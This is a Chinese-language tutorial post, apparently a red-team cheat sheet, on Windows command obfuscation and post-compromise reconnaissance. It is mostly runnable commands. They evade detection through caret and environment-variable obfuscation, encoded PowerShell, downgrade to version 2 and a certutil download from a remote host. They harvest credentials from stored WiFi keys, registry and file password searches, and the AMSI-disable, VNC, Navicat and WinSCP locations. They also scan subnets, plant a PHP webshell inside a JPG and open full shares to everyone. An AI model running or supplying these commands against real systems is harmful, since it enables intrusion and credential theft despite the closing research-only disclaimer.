浅谈命令混淆
字数 555 2025-08-24 23:51:18
Windows命令混淆与绕过技术详解
1. 命令混淆基础技术
1.1 特殊符号与大小写混淆
-
基本方法:使用双引号、尖角号(^)、括号、逗号、分号等特殊字符
wh"o"aM^i cmd /c ",;((w^h^o^a^M^i))" -
非主流特殊字符:
certutil /⸿⸿⸿split -urlcache -f http://192.168.1.102:1337/axgg.txt axgg.txt
1.2 环境变量混淆
-
查看环境变量:
set -
环境变量截取:
%comspec:~3,1%hoa%comspec:~21,1%i解释:
%comspec:~3,1%截取COMSPEC变量第3位字符(w),%comspec:~21,1%截取第21位字符(m) -
自定义环境变量:
set a=cmd /c whoami %a% -
组合使用:
cmd /c "set a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%"
1.3 For循环混淆
for /f "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f
解释:以\分割路径,取第4个token即"whoami"
2. PowerShell混淆技术
2.1 Base64编码
powershell -enc [Base64编码的命令]
2.2 版本降级
powershell -version 2
2.3 API调用混淆
Get-WmiObject -Class Win32_UserAccount
2.4 注册表操作
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
3. 自动化混淆工具
3.1 Dosfuscation
Invoke-DOSfuscation # 启动
TUTORIAL # 开启模块
SET COMMAND whoami # 加密你想执行的命令
4. 常用信息收集命令
4.1 主机信息收集
qwinsta # 查看在线用户
wmic logicaldisk where DriveType = 3 get DeviceID # 查看系统盘符
wmic useraccount get name,sid # 查看所有用户SID
cacls c:\ # 查看C盘权限
icacls C:\Windows # 查看文件ACL
nbtstat -A 127.0.0.1 # 查看主机BIOS名
4.2 横向移动相关
netsh wlan show profile # 查看连接过的WiFi
netsh wlan show profile WiFi-name key=clear # 获取WiFi密码
# 获取所有WiFi密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
# 网段扫描
for /l %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find "TTL="
# 多线程网段扫描
for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do start cmd /c "ping 172.29.%a.%b -l 1 -n 1 -i 1 >172.29.%a.%b.txt"
4.3 文件搜索
findstr /s /m "password" *.* # 查找含password的文件
dir c:\a.txt /s /b # 查找c盘的a.txt
5. 历史记录与注册表
5.1 命令历史记录
Get-Content (Get-PSReadlineOption).HistorySavePath
或查看文件:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
5.2 注册表信息
-
RDP连接记录:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers -
禁用AMSI(需高权限):
HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings\AmsiEnable -
数据库连接信息:
Navicat: HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<connection> MySQL/MariaDB/MongoDB/SQL Server/Oracle/PostgreSQL/SQLite等 -
VNC信息:
RealVNC: HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver TightVNC: HKEY_CURRENT_USER\Software\TightVNC\Server Value TigerVNC: HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 WinSCP: HKCU\Software\Martin Prikryl\WinSCP 2\Sessions -
搜索密码字段:
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
6. 文件操作技巧
6.1 文件合并
copy x.jpg/b+12.php 3.jpg # 制作一句话
6.2 压缩解压
makecab.exe 1.doc 1.zip # 压缩
expand 1.zip 1.doc # 解压
# 批量压缩
dir /b >>name.txt
makecab /f name.txt /d maxdisksize=1024000
expand 1.cab -f:* c:\test\
6.3 其他文件操作
attrib C:\test.exe +s +h # 隐藏文件
>>b.txt set/p="123"<nul # 追加不换行
echo 123 > axgg::$INDEX_ALLOCATION # 文件流创建
rd axgg::$INDEX_ALLOCATION # 删除文件流
7. 网络与共享
net share everyone=C:\Windows /grant:everyone,full # 开启共享
set http_proxy=http://127.0.0.1:1080 # 设置cmd代理
mstsc /admin /v:ip # 远程连接
mstsc /console /v:ip
8. 进程与安全
taskkill /pid 1080 /f # 结束进程
secpol.msc # 本地安全策略
certutil.exe -hashfile 1.txt # 计算文件哈希
以上技术仅用于安全研究和防御目的,请勿用于非法用途。